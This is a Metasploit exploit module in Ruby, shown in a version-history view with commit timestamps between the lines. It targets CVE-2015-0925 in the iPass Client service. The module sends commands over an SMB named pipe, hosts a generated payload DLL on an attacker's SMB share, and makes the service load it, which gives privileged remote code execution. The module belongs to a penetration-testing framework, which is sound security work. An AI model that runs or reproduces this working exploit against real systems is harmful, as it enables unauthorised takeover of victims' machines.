Files
metasploit-gs/modules/exploits/windows/smb/ipass_pipe_exec.rb
T

112 lines
3.3 KiB
Ruby
Raw Normal View History

2015-03-09 16:36:11 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-03-09 16:36:11 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-03-09 16:36:11 +01:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IPass Control Pipe Remote Command Execution',
'Description' => %q{
2015-03-12 16:35:48 -05:00
This module exploits a vulnerability in the IPass Client service. This service provides a
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
to force the service to load a DLL from a SMB share.
2015-03-09 16:36:11 +01:00
},
'Author' =>
[
'Matthias Kaiser', # Vulnerability discovery
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0925' ],
[ 'OSVDB', '117423' ],
2015-03-09 16:36:11 +01:00
[ 'BID', '72265' ],
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
],
2015-03-12 16:35:48 -05:00
'DefaultOptions' =>
2015-03-09 16:36:11 +01:00
{
'EXITFUNC' => 'process',
},
2015-03-12 16:35:48 -05:00
'Payload' =>
2015-03-09 16:36:11 +01:00
{
2015-03-12 16:35:48 -05:00
'Space' => 2048,
2015-03-12 16:34:44 -05:00
'DisableNops' => true
2015-03-09 16:36:11 +01:00
},
2015-03-12 16:35:48 -05:00
'Platform' => 'win',
2015-03-09 16:36:11 +01:00
'Targets' =>
[
2015-03-12 16:34:44 -05:00
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
2015-03-09 16:36:11 +01:00
],
2015-03-12 16:35:48 -05:00
'Privileged' => true,
'DisclosureDate' => 'Jan 21 2015',
'DefaultTarget' => 0))
2015-03-09 16:36:11 +01:00
2015-03-12 16:41:41 -05:00
register_options(
[
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
])
2015-03-09 16:36:11 +01:00
2015-03-12 16:41:41 -05:00
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
2015-03-09 16:36:11 +01:00
end
def check
2015-03-12 16:41:41 -05:00
echo_value = rand_text_alphanumeric(rand(10) + 10)
2015-03-09 16:36:11 +01:00
2015-03-12 16:41:41 -05:00
begin
response = send_command("System.Echo #{echo_value}")
if response =~ Regexp.new(echo_value)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
2015-03-09 16:36:11 +01:00
end
2015-03-12 16:41:41 -05:00
rescue Rex::ConnectionError => e
vprint_error("Connection failed: #{e.class}: #{e}")
return Msf::Exploit::CheckCode::Unknown
rescue Rex::Proto::SMB::Exceptions::LoginError => e
vprint_error('Connection reset during login')
return Msf::Exploit::CheckCode::Unknown
end
2015-03-09 16:36:11 +01:00
end
def setup
2015-03-12 16:41:41 -05:00
super
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
self.share = Rex::Text.rand_text_alpha(5)
2015-03-09 16:36:11 +01:00
end
def primer
2015-03-12 16:41:41 -05:00
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
2015-03-09 16:36:11 +01:00
end
def send_command(command)
2015-03-12 16:41:41 -05:00
# The connection is closed after each command, so we have to reopen it
connect
smb_login
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
pipe.write(Rex::Text.to_unicode(command))
response = Rex::Text.to_ascii(pipe.read)
2015-03-12 16:34:44 -05:00
2015-03-12 16:41:41 -05:00
response
2015-03-09 16:36:11 +01:00
end
def exploit
begin
2015-03-12 16:41:41 -05:00
Timeout.timeout(datastore['SMB_DELAY']) { super }
2015-03-09 16:36:11 +01:00
rescue Timeout::Error
2015-03-12 16:41:41 -05:00
# do nothing... just finish exploit and stop smb server...
2015-03-09 16:36:11 +01:00
end
end
end